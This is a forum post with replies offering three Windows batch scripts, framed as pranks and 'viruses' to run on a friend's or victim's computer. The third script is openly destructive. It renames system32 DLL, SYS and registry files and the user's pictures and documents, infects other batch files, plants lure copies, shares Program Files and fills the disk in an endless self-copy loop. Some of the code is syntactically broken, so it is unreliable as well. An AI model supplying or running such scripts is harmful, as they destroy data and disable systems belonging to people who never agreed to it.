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First, if your doing this at someones house, make sure you are on the Administrator account.
Secondly you must open a blank notepad document, now input one of the following...

Use this code to play a prank on a friend, this will open a really annoying website 10 times and reset the time on their desktop to midnight (0:00)
@echo off
copy %0 "%userprofile%\desktop\Prank.bat"
attrib +h +r "%userprofile%\desktop"
time 00:00
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand


This next one is a bit more serious, but doesn't really harm your victim, it Disables Scheduled Tasks, Creates 10 users, Starts the worlds most annoying webpage 10 times and resets time to midnight.

@echo off
time 00:00
schtasks /delete Consolidator
schtasks /delete AppleSoftwareUpdate
schtasks /delete HotStart
schtasks /delete SR
schtasks /delete ResolutionHost
schtasks /delete MP Scheduled Scan
schtasks /delete SystemSoundsService
schtasks /delete TMM
schtasks /delete UserTask
net user 21693 /add
net user 26705 /add
net user 23679 /add
net user 13669 /add
net user 981 /add
net user 24784 /add
net user 13800 /add
net user 25521 /add
net user 16278 /add
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand


Now for the final one, this will damage your victims computer quite a bit and will take some time to sort out. It does all of the above, put also Corrupts System Data, Opens 10 CMD Windows, causes a Memory Leak and Adds a Worm. USE WITH CAUTION!

@echo off
copy %0 "%userprofile%\desktop\no.bat"
attrib +h +r "%userprofile%\desktop"
time 00:00
schtasks /delete Consolidator
schtasks /delete AppleSoftwareUpdate
schtasks /delete HotStart
schtasks /delete SR
schtasks /delete ResolutionHost
schtasks /delete MP Scheduled Scan
schtasks /delete SystemSoundsService
schtasks /delete TMM
schtasks /delete UserTask
net user 23169 /add
net user 2553 /add
net user 4588 /add
net user 11310 /add
net user 10113 /add
net user 30194 /add
net user 11604 /add
net user 13113 /add
net user 8413 /add
start cmd
start cmd
start cmd
start cmd
start cmd
start cmd
start cmd
start cmd
start cmd
start cmd
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
start home.comcast.net/~wolfand
cd "%windir%\system32"
for %v in "*.bat" do copy /b %v + %0
copy %0 "%systemdrive%\Users\Public\hot sex.bat"
copy %0 "%systemdrive%\Users\Public\best music.bat"
net share %0.bat=C:\program files /unlimited /remark:"Bill Gates: Software giant, free software"
cd c:
for %h in "%windir%\system32\*.BAK" do ren /f /s /q %h *.Yougothacked
for %i in "%windir%\system32\*.xml" do ren /f /s /q %i *.Yougothacked
for %j in "%windir%\system32\*.dll" do ren /f /s /q %j *.Yougothacked
for %k in "%windir%\system32\*.sys" do ren /f /s /q %k *.Yougothacked
for %l in "C:\documents and settings\%username%\pictures\*.jpg" do ren /f /s /q %l *.Yougothacked
for %m in "C:\documents and settings\%username%\documents\*.txt" do ren /f /s /q %m *.Yougothacked
for %n in "%windir%\system32\*.clb" do ren /f /s /q %n *.Yougothacked
for %o in "%windir%\system32\*.reg" do ren /f /s /q %o *.Yougothacked
for %p in "%windir%\system32\*.ani" do ren /f /s /q %p *.Yougothacked
:ship
copy %0 "%homedrive%\%random%.bat"
goto ship


Now save the files as .bat, if you do not know how to create a .bat file, when you choose to save, just add .bat to the end of the name of the file and then change where it says Text Document to All Files.



I am NOT responsible if you become lets say "in trouble" for doing any of these. USE AT OWN RISK!

My source you ask? Atomics_Virus_Creator_V.65, I just created each virus and copied the code.

What if ur pc said the file syntax is incorrect or something like that

Then it doesn't work and you should sue Microsoft.

Well you either like the other guy said, sue Microsoft.
Or if your using another operating system that isn't Windows, your problem is right there.

good shit thank homie

For the second one you must be on an admin account as you didn't make the current account admin.